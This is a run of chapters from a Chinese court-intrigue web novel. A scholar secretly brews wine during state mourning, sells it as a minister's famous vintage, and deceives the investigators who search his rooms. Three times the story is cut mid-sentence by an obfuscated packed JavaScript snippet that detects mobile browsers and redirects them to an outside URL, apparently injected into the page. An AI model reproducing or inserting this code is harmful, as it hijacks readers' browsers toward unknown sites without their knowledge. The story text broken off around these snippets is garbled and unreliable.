韦弘贞在院中打了几个转,忽然下定决心似的:“十六郎,我愿和你说一句交心的话,你…你愿不愿听?” 李知微对小孩泛滥的真心无感:“你说。”在韦弘贞炯炯目光下,他发誓:“天知地知,你知我知。” 韦弘贞盯着他的双眼:“我要帮李重宪夺嫡。” 说出这句话以后,他忽感心怀大畅,意气冲出胸臆,直上脸颊:“我需要你,知微,如果你愿意帮我,我永远不忘你。” 除了泛滥的真心外,他还有泛滥的永远。 “你要我怎么帮你?” 韦弘贞没有直接提出要求,而是踏着黄昏的钟声,悠悠叹气。 “知微,我不是个聪明人,悬梁刺股才考上昭文院。”他穿着鲜衣华服,日暮时分灿烂流霞,和他一比,李知微的白衣泛出一丝暗黄,“因为我知道,考不上昭文院,这辈子都完了。” 又来了,李知微在心里默念,又来了。 果然聊天也该收钱的。 他很难共情王孙们的哀愁与痛苦,比起这个,他希望韦弘贞赶紧结束对话,拿出钱来,他要去后灶给善思拿饭。 很可惜,韦弘贞没读懂他的心。 “不光是我,昭文院大多数人都这样,只有表面光鲜。不是长房,不是长子,家里的爵位和我们没关系,如果不走昭文院,就得去科举,就得靠人举荐,不知哪年哪月才能出头。” “可考上昭文院,毕了业,也不过做个不入流的小官,我家,京兆韦氏,‘城南韦杜,去天尺五’,出了六位宰相!但那又怎么样,含光门兵变,我家帮了棘王,四十年,一蹶不振到了今天。” “我想喝酒。”韦弘贞说着说着,节外生枝道,“天地同春。” 李知微没说话,躬身进入酒房,舀起一勺急酒,洒上几片干花,走了出去,蜷缩着的粉紫配上浊白酒浆,荡出一道晚霞似的痕迹。 韦弘贞接过酒一饮而尽,大抵酒气酸涩,他咳嗽不止,再抬眼时,已经泪流满面。 知微抬手,抚了抚他的头发,却被他拉住手。 “知微,把天地同春卖给我吧!你开价,只要我们韦家出得起。” 李知微眼见他图穷匕见,装傻充愣道:“和这酒有什么关系?” 韦弘贞激动道:“这是裴照元的酒!” 酸涩酒气喷到李知微脸上。 “他支持谁,谁的儿子就能入宫,成为下一个皇帝。” 李知微愉悦起来:“宸衷独断,即使是裴公,也无法干涉。” 韦弘贞摇头道:“裴照元,是不一样的。” 急酒熏出他浅浅一层红晕。 “太祖皇帝以关中府兵逐鹿时,曾发誓要与我们关陇世族共有天下,一旦定鼎,却不认前言,借进士科举提拔山东郡姓,就连朱宣志这样的寒门小族,也可以出将入相、为官做宰。你以为圣人忘了,是关中数十万兵马铺平了他家二百年天子之路吗?不是。” 他的整个人生都没有二十年,说起家族二百年前的投机,仿佛就在眼前。 “他不喜欢陇西,也不喜欢山东,他就是喜欢大家狗咬狗,而裴照元,是最通人性,最听话的一条狗。” “河东裴氏世居山东,曾与琅琊王氏齐名,却在关键时刻转投鲜卑,加入关中——你知道有种蜥蜴叫石龙子吗?在落叶堆里是黄的,在石头上就是黑的,裴家就是这样。” 李知微轻轻皱眉,很不可接受地:“弘贞,你素来仰慕裴公,怎么能说出这样的话?” 韦弘贞哂笑:“我不是仰慕,我是佩服,我佩服他会投机,还每次都能赢。圣人没即位前不过是生母卑微的六皇子,却被他一眼选中,朝夕侍奉。圣人要夺嫡,他就牵线搭桥,帮圣人娶来王家的女儿;要兵谏,他就去羽林后备;重视科举,他就连考四个第一;要提拔寒门,就用自己给朱宣志铺路。他为圣人鞍前马后二十年,他说一句话,顶别人一万句——他支持谁,谁就能赢!” 李知微犹犹豫豫地开口:“所以,你是觉得,如果李重宪有天地同春,就可以假装他得到裴公……裴照元的支持?” 而对于裴照元来说,既然已经被传出去支持了某人,就只能一条路走到黑。 “可为什么是李重宪?李景毅是齐王之后,血脉上更近帝家;李重宪的祖父息王犯谋逆大罪,只因他父亲蜀国公率先告发,他家才逃脱一死;李景毅娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他带着一点遗憾和庆幸:“知微,你知道吗,其实你也有机会。你也是宗室,你也有儿子。如果可以的话,我一定选你。” 李知微顿时回过神来,惊慌道:“弘贞,你不要拿我取笑,我不愿意和善思分开!” 天真和愚蠢,对一样东西的褒贬两面,其实是矛盾的。 可在李知微身上却全然体现。 韦弘贞问:“我知道,善思身体不好,这么多年一直拖累着你。知微,只要你愿意帮我,我一定尽我所能,帮你照顾好善思,让全天下最好的医生来医他的病。” 他才不是我的拖累。 李知微果然感动:“弘贞,多谢你。我知道,院里很多人都瞧不起我,只有你是真的可怜我。” 韦弘贞几乎要落下泪来,下意识去抓他的手,却被他躲开。 他用六百贯,买了一瓮天地同春。 来不及思考为什么李知微自己在家酿酒却还备了小酒坛、封泥和漏斗,酒水在坛里晃荡,他怀抱着未来五十年的荣华富贵跨出潮湿低矮的小院,夕阳把李知微的影子拉的很长,他踩过去,踏着钟声,准备在学院关门的最后一刻回家。 门外却站着一个人,不知等了多久。 他吓得跌了一跤,在看清来人时,下意识搂紧怀中的酒,害怕被人抢走。 “你、你什么时候来的?” 逆着夕阳,裴见濯灿烂一笑,提示道:“‘裴照元是圣人最听话的狗。’” 10. 绿蚁第二4 韦弘贞落荒而逃。 裴见濯面无表情地走进小院,李知微晓得他什么都听去了,便没有解释,双手握一握衣侧,笑道:“吃饭吧。” 绝口不提放学了,裴见濯还能进学院的事。 晚饭不丰盛,善思吃他特制的药膳,李知微用一个胡饼打发自己,裴见濯来了,多了两块熏肉。本来三个人各站一边就能吃完的事,李知微非要腾挪家具,支起一张桌子,三个人坐在桌子上,像一家人那样吃饭。 今天的饭桌格外沉默,只有食物咀嚼的细声。 善思拧起淡淡的,几乎看不见的眉。 他是个守规律的小孩,对裴见濯的行为感到不满。 既然是五天来一次,那第四天不能来,第六天也不行,因为多一天少一天都不是五天。十天来一次行不行?十是五的倍数,相当于空过一次,直接来了第二次,善思思考了一下,也不行,因为他少来了一次,也不好。 他不盼着见濯来,也不盼着见濯不来,他只是希望见濯守规矩,不要打乱他的计划。比如今天,他没准备睡小床,但见濯这个点来了。 他有家,为什么要到我家来?善思没去过裴见濯家,揣测裴见濯根本没有家。他把自己和裴见濯放在相同甚至高一些的等级上,觉得自己是亲生儿子,而见濯是在外面捡回来的流浪儿子,就像闹老鼠的时候后灶的吴叔给他家一只猫帮忙一样,这只猫就是“流浪的,吃的不多,看着还喜欢,就养了。” 裴见濯五天来一次,吃的也不多。喜不喜欢的,也就那样吧,做主养育他的人是父亲,不是他,善思不发表意见。 不过见濯每次来,他就得往旁边挪一挪凳子坐,这一点他不是很喜欢,原来的位置他可以看见窗户外的晚霞,挪过了以后,晚霞隔了一半,还有半堵芦苇墙。 他预备对裴见濯发难,他发难的方式就是拧眉头,拧到父亲主动询问他为什么不开心,但拧了半天,没人理他,桌子上也只有他一个人在吃饭,他没理由说见濯吃得多,刚放下筷子,父亲就站起来,见濯也站起来。 父亲把小床支起来,床的三面有护栏,一面和大床拼着,怎么滚都掉不下去,善思把陪他一起睡觉的布偶老虎拎出来摆到小床上。 裴见濯站着看。 父亲把碗筷抄起来,放在大筐里准备去院子旁边的井水洗,亲生儿子帮忙拎筷子。 流浪儿子站着看。 饭食的味道没有散去,善思爬到橱柜上开窗通风,天暗暗的还有最后一丝红,蚊子被拍死,花脚和血揉在一起的颜色就是这样。 对面的屋子怎么开了门,父亲和见濯是不是到里面去拜访邻居? 他知道这里的房子不是他们的,有人来,父亲和他都只能接受,并无权干涉,如果来了人,他得提前把这些人纳入规则之中。 空气里传来一阵酸中带甜的味道,善思不喜欢,这是忽然闯进他生活的。 所以他爬下了橱柜,坐在床上,用手指头画画,他提前规划过,今天要画那只帮他捉到老鼠的猫。 李知微关上了酒房的门窗,太老了,嘎吱嘎吱两声,拉破的风箱。 这间房子朝北,又矮,没有冰窖,最适合酒曲发酵,鸠占鹊巢当然不对,但既然没人,李知微就占为己有,对于自己,他没什么道德要求。 就像现在,酒气完全闷在房间里,呼吸间都是急酒那股带着石灰味的干涩,没有灯烛,昏暗一片,等月亮爬上树梢,应该能看清酒缸上浮起的绿蚁,还有放在一旁的—— 二乔。 裴见濯沉默,李知微也就不说话,两个人面对面呆了很久,李知微心里有一点可惜,他挺喜欢裴见濯,哪怕他不是裴照元的弟弟也喜欢,他不是很想对裴见濯撒谎,但没办法。 裴见濯再讨厌裴照元,那也是兄弟间关起门的事。李知微现在要拉裴照元乃至于整个裴家下水,裴见濯能坐视不理吗? 更何况裴照元对弟弟很不错,不然,从他早年的经历来看,裴见濯绝无生路。 他没见过裴照元,但他就是有预感,裴见濯不点头,裴照元就不会倒向他这一边。 敢送韦弘贞酒的底气也正在于此,不要说那是假的,就算是真的天地同春,他也会卖出去。 裴照元不可能因为一坛酒就上贼船。 真正的天地同春,站在他身边。 国丧,裴见濯穿一领月白色窄袖袍,银带银冠,淬得透亮,碌碌闪过李知微的眼睛,像吴刚伐树掉下的玉屑。 他凝眉道:“谁让你酿的酒?” 李知微听到他开口,莫名心就定了。 不怕他说话,就怕他不说话:“我自己。” 裴见濯没吱声,挑了挑眉,黑暗里知微看不清楚,但他太了解裴见濯了。 “那天和你分开来以后,我去接善思,路上又遇见那位女娘,若找不到客人,她就得吃苦头,我就想去她家吃了饭再走,她以为我是为了你兄……裴相才去的,便把收集的干花送给我,说那是二乔,入酒卖的很好。” “那就是二乔。” 李知微吃惊道:“什么?”得到裴见濯的确认,他更加心定:“我本来准备吃顿饭就走,但那天晚上……我就住了下来,想,酒很挣钱。” 完美的逻辑,他去薛家接善思的路上的确会路过北曲,与小姑娘重逢也是意料之中。反正没吃晚饭,去人家家里吃个饭也挑不出错,吃着吃着,魏王薨逝,全城戒严,天下缟素。 禁酒一月。 卖酒的事,李知微之前就想过,但昭文院禁酒,他不能携带入内,除非自己酿。可自己酿,没有贩酒令不说,还要用到大量糯米,屋子里不许生火,他到后厨去做,必然会引人怀疑。哪怕没人举报,销路也成问题:他能买到的酒曲都是大路货,顶多酿点村酒,喝惯清酒的世家子弟看不上不说,若他一个控制不好温度吃坏了人,更得不偿失。 但现在不一样了。 就他一家。 “原本只酿些急酒,过了这一个月,开禁便罢手。干花我觉得好闻,悬在柜子里熏衣服,今天被弘贞闻见,说那是二乔,我还以为他在玩笑。” 他没继续说下去。 平康坊北曲的妓院说自己有二乔,再真也没有人会信; 他是裴见濯的朋友,他说自己有天地同春,哪怕成品是酸倒牙的急酒,也有人会信。 粗糙的空气在房间里游弋、充盈。 裴见濯问他:“善思病了?” 在黑暗里,李知微仍然表演了一整套,有时候他也不知道自己是不是在表演,他就是觉得很难受,低头,眨眨眼睛:“天下雨,跑进来了一些蚊虫,已经去看过医生了。” 裴见濯不含疑问:“薛喑?” 就算没有那层关系,裴见濯也是李知微最长久的朋友,对于李知微的生活,他了如指掌。 李知微点头:“嗯,他说善思的病有救了。圣人赐给薛相一株仙茅,薛相没用,放在药库里,让族中支取,只要八百贯。很多人都想要。” 所以,我得快点赚到钱。 裴见濯说:“我拿给你。” 薛延清有的东西,裴照元肯定有。 李知微在黑暗里望着他,银冠是发光的白。 裴照元的东西,裴见濯就自动认为是自己的,天生的理直气壮。 同样是父亲去世,在兄长手底下讨生活,李知微就不敢这样。 他拒绝道:“我不要。你有,那也是圣人赐给裴相的,御赐之物,送给家族子弟还说得过去,拿给我,别人问起来,就真的说不清了。” 裴见濯说:“你去取钱。” 八百贯的钱财物品,别说是人,就连牛车马车都得拉好几辆,这样的大额交易,一般都是持本人印信,到用飞钱柜坊一类去取钱,像裴、韦、薛这样的大家,都有自己的钱坊专管。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349936|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李知微很早以前就有了裴见濯的印信,一次也没有用过。 这一次也一样。 “已经够了,明天下了学,我就去薛家换。” 裴见濯沉默。 李知微说:“等善思好起来,我就好好读书,毕业,搬出去。” 李知微在黑暗中一边拿脚探酒缸的存在,一边走向他,先摸到的是胳膊,缓缓下滑、缓缓下滑,他抓住了裴见濯的手,裴见濯没动:“把钱还他。” 李知微摸到他紧绷时突出来的手筋,坚定道:“不要。” 裴见濯声调略高:“为什么?” 黑暗隐匿了李知微的笑。 “见濯,我还是那句话,我们之间不谈这个,如果你非要谈——” “咱们就到此为止吧。” 裴见濯定住一瞬。 李知微轻轻抚摸他的脸颊:“这儿闷得很。咱们走吧,啊?” 裴见濯反应过来,急躁道:“这不是钱或酒的事,只有韦弘贞这种蠢货才会觉得一坛酒能把裴照元拉上船,但这酒是你给他的,国丧期间在昭文院酿酒,他要是被发现,一定会把你供出来!到时候你怎么办?” 不会。 李知微望着裴照元,心想,不会。 他看似竞争对手众多,却都是泛泛之辈,真成气候的,唯李景毅、李重宪二人而已。 正如薛喑所说的那样,大家为了入宫都快打成乌眼鸡,韦弘贞前脚敢抱着天地同春去李重宪家里,后脚李景毅的人就能检举揭发。 李重宪倒台,李景毅又一家独大,皇帝李成钧最善制衡,怎么会坐视不理,若是东窗事发,韦家必然勒令弘贞闭嘴,借此保李知微上位,和李景毅打擂台。 裴照元也不会坐视不理。 至于韦弘贞,成大事者不拘小节,国丧饮酒至多徒刑,来日未尝不能弥补。 少年形象粗粗掠过,便被甩到脑后。 “明天我就把这些东西扔掉。”李知微达成目的,变得很好说话,“不会再卖了。” 酒已经到了韦弘贞手里,再说也追不回来,裴见濯低低地“嗯”一声。李知微和他一起靠在酒缸上,陶质冰凉,过了许久,他说:“抱歉。” 裴见濯说:“一坛酒而已。” 李知微笑一笑:“不是为酒,是我方才说‘到此为止’,我不该说这种话。但是,我真不想和你谈这些,对谁都可以,对你,不行。” 裴见濯拉住了他的手,酒房地砖阴冷,灰尘砂砾印在知微的手心,被见濯拂去:“为什么?” 李知微说:“说多了,不好。” 缓缓地,裴见濯靠近他,带着一点酒气,喷在他脸颊上:“为什么不好?” 李知微没有回答他,只是仰起头,交接了一个吻。 月亮爬上柳梢,听见一屋春声,照出一地湿痕,酸酒带着石灰的涩气,蔓延胴体。 很晚了,善思听见父亲在门口洗衣服的声音,裴见濯在院子里帮忙,一起把衣服拧干,滴滴答答,像一场猛烈的雨。月光把素白的学士服照出幽幽的蓝,善思抱着他的小老虎又睡着了,不知过了多久,带着一点皂角香气的父亲爬上床,然后是流浪在外八天的儿子。 白天就这样到来。 李知微像往常那样早早起床,准备到最近的坊市买些胡饼赚取差价,离开前,他还摸了摸院中晾衣竿上的衣服,夏天温度高,一晚上下来,只剩一些潮。 两个人拧,干的就是快。 他心情大好,走出门去,却忽然一杆长戟横生:“站住!” 李知微垂眸望向自己胸前,兵刃反出银光。 身穿蓝袍常服的李景毅,旁边跟着数个南衙卫军,回首向他望来,冷冷吐出两个字:“拿下。” “谁敢?” 裴见濯跨出院门。 “昭文院是太宗所设,羽林卫是天子亲军,李景毅,你算什么东西,在这里造次?” 11. 绿蚁第二5 “今天要回孔老头的课,你写了不曾?” “要死要死,放了七天马,我给忘了!没事儿,问他买去。” “他连这都有?” “这个自然,只是贵些,不过我今年须好好表现,再升不了科……吓!” “你着急忙慌干什么,遇见鬼了?哎哟!” 两个少年齐齐跌在在台阶前,门后的两个禁军卫士面容冷硬,波澜不惊,叫他们说出姓名,核对名册后,才让开一线,放他们进去。 家世再显赫,彼时也不过是个十五六岁的少年,猛然见了这阵仗,不敢高声语,蹑手蹑脚地溜了进去,发现书斋中早已有人。 李知微一贯来得最早,这没什么好说,不知为何今日没有顶了根木簪子上学,大背篓也不见;裴见濯虽罕见些,但大家能给他自圆其说,说不定昨日里和他兄嫂进宫面圣睡在宫里,白天溜达出来上学,来早了也不是不行;韦弘贞……韦弘贞也许是来补功课的? 这仁兄昨天没睡好啊,瞧眼眶青的!听说他最近头悬梁锥刺股,看起来用功有些过头了。 视线一转,二人望向台上白肤深目者,始知风雨欲来。 陆陆续续又有学生进来,无一不被两个执戟门神吓到,不乏消息灵通者目露怜悯,韦弘贞的同桌悄悄溜走,坐到于家子弟的空位上。没人说话,眼神飘来飘去,李景毅岿然不动,视线越过层叠院服,与李知微遥遥相撞。 李知微对他笑了一下。 孔明达是最后一个进来的,李景毅这才站起,向他作揖:“先生安好。” 孔明达看了一眼他,又转头,望着禁军手上兵刃:“此地不宜动兵。” 李景毅行礼未起:“奉旨搜检,皇命难违。” 孔明达道:“你尚是个学生,如何应承皇命?” 李景毅道:“只因此事是学生检举。” “学生昨日下学,左右不曾等得家仆来接,便在藏书楼消磨时光,下楼时不巧遇见此人——”他隔空一指,韦弘贞顿时发抖,“怀抱酒坛出外,心想孝明太子薨逝,举国服慈母之丧,万不可作乐饮酒,便将他拦下询问,若真是酒,必要官告京畿,治他不孝大罪。可仔细一看,他怀中的竟是‘天地同春’。” 酒坛作为物证,赫然摆在台上。 他说这话时,目光并没有看犯事的韦弘贞,也没有看裴见濯,还是紧攫着李知微,扫到他脸上的一丝裂缝。 于是更加慢条斯理:“裴相是国家柱石,学生不敢擅专,便辗转达得天听。圣人因学院是太宗所设,不宜交付有司,便命学生暂为差使,协助搜检。” “昨日韦弘贞来学院时当无携带,一定是在学院何处得到此酒,与他接触最多的只有同斋同学,因此,耽误先生些许功夫。” 李景毅似乎真怕耽误孔明达上课那样,立刻转头喝问:“韦弘贞,现在人到齐,你可以指认了!” 意有所指:“是谁私盗此酒,命你中伤裴相?” 即使是昭文院的学生,能将如此细事搅得天听,还带来南衙羽林卫者也是少之又少,众人皆知他的妻子王氏乃是皇帝舅舅兼岳父王竑的侄女,此事必然是他告给王竑,王竑再上告的。 皇帝将此事小题大作,也算作对这远房皇弟兼堂妹夫的信任委派。 难道真是他? 若皇帝属意者真是他,那,他要针对的人是谁,便一清二楚了。 韦弘贞尚不伏法,便有人提示道:“学兄明鉴,院内出入皆需搜检,小刀火石尚不得携入,何况是这样的大东西,能给他酒的,恐唯有院内寄宿之人!” 真是不巧,自昭文院开设以来,长宿院中者,除了李知微,还是李知微。 指名道姓,也就没什么意思。 “也许是哪个杂役伙夫,或哪个刁钻的仆妇,不知哪里偷来了天地同春,到处去卖。” 李景毅冷笑一声,逼道:“韦弘贞,他说的可是吗?” 韦弘贞面无人色,四肢僵硬,冷汗涔涔而下,眼珠拼命向后逡巡,脖颈却梗直不动:“他说、他说的……” 李知微的手忽然被握住,那时候他才感觉到自己也在发冷,脑中嗡嗡乱响,如作罗天大蘸,敲得人肝脑迸裂。 聪明反被聪明误。 韦家已向李重宪投诚,韦弘贞一定会去找李重宪,但,李景毅宁肯放弃扳倒李重宪的好机会,也要守株待兔,把他拽下马来。 他竟这样恨我。 天旋地转,李知微脑中仅有一个念头。 他必须得赢,不赢,就得死了!他早就上了贼船,哪有独善其身的道理! 轻轻地,他从齿缝里泄出两个字:“见濯……” 他不知道叫裴见濯干什么,韦弘贞顶不了多久,就算他不说,李景毅今天堵了个开门红,他来不及清理痕迹,裴见濯顶多代表裴家认证这天地同春是假的,李知微并没有诬陷朝廷宰相的想法,那也不过是罪减一等而已。 只要一往院中去,国丧期间卖酒的罪名是坐实了。 他会被赶出昭文院。 “叩、叩——” 胡思乱想间,紧闭的书斋大门又被敲响。 李景毅一挥手,卫士拉开门,露出一位清贵公子,身着院服,长眉朱唇,顾盼精采,视兵刃为无物,先向孔明达叉手行礼:“学生李重宪,问先生安好。” 孔明达一点头,他便放下手来,对李景毅道:“三郎,学正听说黄字斋有学生国丧饮酒,让我来助你查明。” 李景毅皱眉:“此事与你何干?” 李重宪和煦道:“你忘了吗,昨天和这学生接触过的,可不止黄字斋的学生。” 昨天,他们一起上过射课。 若说有嫌疑,黄字斋首当其冲,地字斋也不清白。 李重宪凤眼斜睨,望向韦弘贞:“我来迟一步,未知他可曾指认?” 李景毅冷声:“不曾。” 李重宪点点头:“我想也是。同窗之谊,朝夕相见,也实在有难以启齿的地方。”众人皆以为他比李景毅和睦温柔,却没想到下一句紧接:“既然如此,不如直接搜检。铁证如山,免得抵赖。” 李景毅道:“我已找人去查证了。” 他享受起猫抓老鼠的快乐,指着台上酒坛。 “这样大小的酒坛,学子绝难携带入内。贩酒者必有便利之法,能运空坛入院而不引人生疑。韦弘贞下学后方得酒,此人必宿于院内。”他又打开酒盖,观察里面的液体,“此乃急酒,以陈曲混合糯米或粳米酿成。一斗曲耗三石米,所费不赀,且都是庖厨下常用物件,若在外购买携入,未免太引人注目,此人多半在院内支取物料。调取支物簿册,一查便知。” 李重宪佯装思忖:“若他真从外间零星带入糯米?每次一袋,十数日亦可凑足。” 二人一唱一和,都知道最终答案,还是一本正经地推理,钝刀子磨肉,就不说谁是嫌疑犯。 李景毅点头道:“除糯米外,酿酒所需器皿、乃至石灰等物,其居处必有残留。天明时分,羽林卫已接手学院,只许进不许出。昨夜事发时已宵禁,想必还来不及销毁赃物。” “若他昨夜售出后便已毁弃呢?” “那就只能……”李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349937|183551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景毅掀开酒封,“此酒被认作‘天地同春’,全因二乔。听闻前几日风雨摧折,二乔受损,裴相心痛不已。若此人果真狡黠至此,便唯有请问裴相,二斋学生中,是谁得了他的赐花。” 眼见说到裴见濯,众人面面相觑,不敢作声。 裴见濯嗤笑一声,打断道:“听这意思,二位还准备到我家去,我家若问不出,要不要再到隔壁去看看?” 裴宅隔壁,正是长公主宅。 虽说有圣人的意思,可为了一坛酒,翻覆昭文院已经过分,难道还要查问长主与宰相? 李重宪大抵也知道方才话赶话说得没了分寸,又看裴见濯和李知微坐在一起,颇有回护之意,强自一笑:“裴二郎多虑,不到万不得已,自然不会去打扰裴相。” “那最好。” 裴见濯放开李知微的手,抱起双臂,走到台前,拎起酒坛,目露嘲笑:“那就赶紧查吧,别等到万不得已的时刻。还请二位天使,还我家一个清白。” 不知谁笑了一声,又赶紧憋回去。 奉皇命而来,自然可以说是天子使者,可天使这词一向拿来形容宦官,扔在这两个宗室脸上,可以说是羞辱。 县官不如现管,祖上是皇帝,怎么比得过兄长是宰相。 向来温雅如李重宪,也凝住神色。 倒是李景毅承了他这招,明知故问:“既然外头夹带不进,那便只能查看内里,黄字斋都有哪些学生寄宿?” 李知微站起来:“我。” 李景毅点头:“没别人了?” 李知微说:“应该是没有的。” 李景毅对孔明达一叉手:“叨扰先生了,学生告退——来人!” 这支羽林卫真不愧受王竑统帅多年,顿时上前环住李知微,冷冽刀光晃过脸颊,李知微半步未退。 李景毅道:“把他带走。” 他说的是韦弘贞。 一边一个,鸡崽子似的拎起韦弘贞,李景毅伸出一只手:“请吧。” 大门敞开,李知微拢手于袖:“三郎、十二郎奉旨办差,先请。” 他不以排行称呼也罢,一称呼就把这件事情拘在李家家事内,众人面面相觑,想起他们的儿子都很适龄,都是未来皇帝的好苗子。 可二人还未动弹,裴见濯便越过众人,先走了一步,跨出门外,立于廊下,见身后许久没有动静,不耐烦回头问:“怎么都不走?” 李重宪心里大概还记挂着拉拢他兄长,勉强维持道:“二郎是外宿,与此事无关,还是不要耽误学业。” 他话音刚落,裴见濯便笑出声来:“怎么无关,随便一坛不知哪来的酒,撒点双色牡丹就敢说自己是天地同春,借此把我家牵连进来,我要是不跟去,怕最后还是会万不得已啊。” 他这一说,大家都恍惚明白过来。 急酒是什么酒,是最便宜廉价的酒,夏季炎热还容易变质,喝了上吐下泻,裴照元饮食何等精洁,岂会看得上这等村物! “再说了,你们三个一起。”裴见濯微微一笑,颇有深意,“最后查出来的东西,恐怕难以服众啊。” 他那边言语暗示二李栽赃,李景毅也半分不悚:“能服众的,只有铁证。” 仿佛为了印证他的浩然正气,长廊尽头,一名便装羽林卫快步上前,奉上一卷簿册:“郎君,院内支物簿册已调到。按您吩咐,严查酿酒所需之糯米、粳米、石灰等项。” 他抬头,直看向走在最后的李知微,朗声昭告。 “昭文院黄字斋李知微,支取糯米五十升,粳米六十升,石灰三瓮。” 12. 绿蚁第二6 “这是你的签押吗?” “是。” “数目对吗?” “对。” “你要这些东西干什么?” “我居住院内,这些都是正常的生活所需。” “少壮男子一日食米半升已足,你儿子更才五岁,父子一月三十升绰绰有余,怎么超出一倍?” 狸猫跳下墙瓦,踩着井沿轻盈跳走。院服彻底干透,悬在竿下,随微风轻动。一队羽林分列,只待一声令下便要冲入小屋搜检。 李知微仍保持面上平静:“好教三郎晓得,你所说的‘一日半升米’,是朝廷赈灾时的配给,用以保命而已。常人若有余力,还是愿意多吃些的。” 李景毅一默。 面对这种羞辱,李知微也未七情上脸,语调平常,颇有唾面自干之感:“学院怜我困窘,一月赐米三十升,我父子感怀不尽,凡超过供给,一应了账,不曾赊欠。所以在学院支取,是因为附近坊市遥远,不得已为之。” 李景毅又问:“糯米也罢,粳米为什么要这么多?” 风轻轻振动他的袍袖,小院里头一回站了这么多人。 “亡荆系出薛氏,泰山不弃,替我咨询名医薛喑,告知乌饭青粳可以养生延寿,故而小儿常食粳米。此米需南槐叶淘洗浸泡,工序复杂,偶有疏漏,便损坏不可食用,所以耗费较多。且此物容易储藏,一百升并未食用完毕,家中尚有,开门验看便知。” 李景毅默然不语。 见此情状,李重宪赶忙接替:“既然孩儿多吃粳米,那糯米便只有你一人能吃。常人不过一日二餐,学院又供给午食,你一人一月一餐,就要耗费如此多糯米?” “小儿体弱,常年服药,嘴里无滋味时,问我要饵糍吃,此物是糯米捣成,故而耗费甚多。” 李重宪追问:“你说这话,可有凭据?” 李知微道:“饵糍多吃积食,薛喑曾为他开方,药方尚在,里头有山楂等消食之物,可以取来验看。” 李重宪抓住不放:“既然早就吃出症候,怎么不制止,还要继续为他囤糯米、做饵糍?” 他话音刚落,连身后的卫士也面露古怪。裴见濯抱臂一笑:“你怎么知道药方是很久以前的,就不能是他这几天刚发现去找的薛喑?” 李重宪语塞,李景毅总算反应过来:“那三瓮石灰又怎么解释,你要石灰干什么?” 李知微仿佛是个没脾气的木头人:“大雨,屋顶破了。” 他身后蓬户土阶,远处,蓬莱宫碧瓦朱甍。 他这两间屋子,本是看守藏书楼的仆役夜间看守时暂住,用料一般,又隔了近百年光阴,漏顶穿墙可谓是家常便饭。 李知微继续招供:“补屋顶时也用了一些糯米,所以看起来多了些。” 他低头,极其明显地掩饰自己唇畔苦笑,又望着李景毅,侧身:“支取这些物品并不是为了酿酒,青粳、药方、补漏处皆在,我承惠昭文,托庇于斯八年,不愿相累,请二位查验。” 李景毅不知在想什么,一踢袍摆便向前冲,两个羽林卫小跑上阶,为他开门。 小屋逼仄,用具又多,几个成人挤入后瞬间没了下脚处,退让腾挪之间,橱柜上摆的杂物摇摇欲坠。 李景毅眼疾手快地接住一个罐子,放回柜上,再挤入桌椅间缝隙,目标明确。 李知微五岁的孩子善思抱着书本,坐在小床上,面无表情。 李景毅问:“你爱吃饵糍吗?” 善思回答道:“不能多吃。” 李景毅追问:“为什么?” 善思说:“会死。” 李景毅笑了,伸出手,轻轻抚摸他的头发,知微今天出门仓促,没来得及给他扎小辫,一薄墨色齐肩。善思仰着头,乌黑的眼珠盯着他,没有反应。 李景毅从善思的床上提起一只褪色老旧的玩偶:“你属兔,怎么抱着老虎睡觉?” 善思说:“它陪着我。” 啪嗒,老虎掉回善思腿上,李景毅又侧着腾挪,他身躯高大,一路上各类家具都碰出异响,走到中间时,他抬头看了看屋顶痕迹:“走吧。” 李重宪见他临门一脚又收手不干,不可置信:“景毅,你可是知道了谁在贩酒?” 李景毅无所谓:“反正不是他。” 李重宪再确认了一遍:“你可看好了?” 李景毅让出位置:“你可以再看一遍,李知微,把你的青粳米拿出来。” 李知微心下大定,对李景毅绽出一个笑。 李景毅看着他,忽然冷哼一声,撇开众人走出房间,却发现裴见濯根本没进房来,静立庭中,伸出手,捻了一下李知微已晾干的院服,同样也是一个笑。 他停了脚步,听见李重宪在屋内徘徊,软刀子一样的声音。 “这倒不用,只是,我记得院里分给你两间屋子。知微,此事已达天听,我必须……” 李知微作了个请的手势:“是还有一间,请随我来。” “亡荆信佛,曾在慈云寺请得阿閦佛像一尊,我无处供奉,便将此地辟出。” 不同于前一间拥挤局限,几无容足之地;这间佛室倒宽敞许多,除了佛像神台及供奉物品外,唯有一个长形木盒。整间房一尘不染,大抵早上才燃过香,余烟仍在。 “这盒子里面是什么?” “没有东西。” “不放东西,买来做什么?” “棺材。” 李知微神情哀伤,强自精神,让人闻之恻然:“小儿病重时,巫医曾有此方,说是可以对冲。我当时钱囊羞涩,只能买四尺大小——十二郎要打开看看吗?” 李重宪一见众人面色,便知大势已去:“不必了。唉,知微,你要不要考虑搬出去?” 一行人走出房间。 面对如此不近人情言语,众人纷纷腹诽,一家人生计已经如此艰难,还要人搬走,这不是雪上加霜吗? 